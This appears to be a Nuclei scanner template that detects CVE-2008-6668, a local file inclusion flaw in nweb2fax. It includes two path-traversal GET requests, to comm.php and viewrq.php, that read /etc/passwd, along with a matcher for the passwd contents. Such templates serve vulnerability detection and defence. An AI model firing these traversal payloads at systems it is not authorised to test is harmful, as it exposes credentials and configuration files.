id: CVE-2008-6668

info:
  name: nweb2fax <=0.2.7 - Local File Inclusion
  author: geeknik
  severity: medium
  description: nweb2fax 0.2.7 and earlier allow remote attackers to read arbitrary files via the id parameter submitted to comm.php and the var_filename parameter submitted to viewrq.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
  remediation: |
    Upgrade to a patched version of nweb2fax or apply the necessary security patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/5856
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/43173
    - https://nvd.nist.gov/vuln/detail/CVE-2008-6668
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/43172
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2008-6668
    cwe-id: CWE-22
    epss-score: 0.15346
    epss-percentile: 0.96438
    cpe: cpe:2.3:a:dirk_bartley:nweb2fax:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: dirk_bartley
    product: nweb2fax
  tags: cve,cve2008,nweb2fax,lfi,traversal,edb,dirk_bartley,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/comm.php?id=../../../../../../../../../../etc/passwd"
      - "{{BaseURL}}/viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b41aa61ed94c0f4b3255c59ffe2300631751bed2f88c080c14f54afd01ecda1d022060a418e0257b74af6498bba776ad95a6b707d6a9d0f3437dbbe80508f02d3128:922c64590222798bb761d5b6d8e72950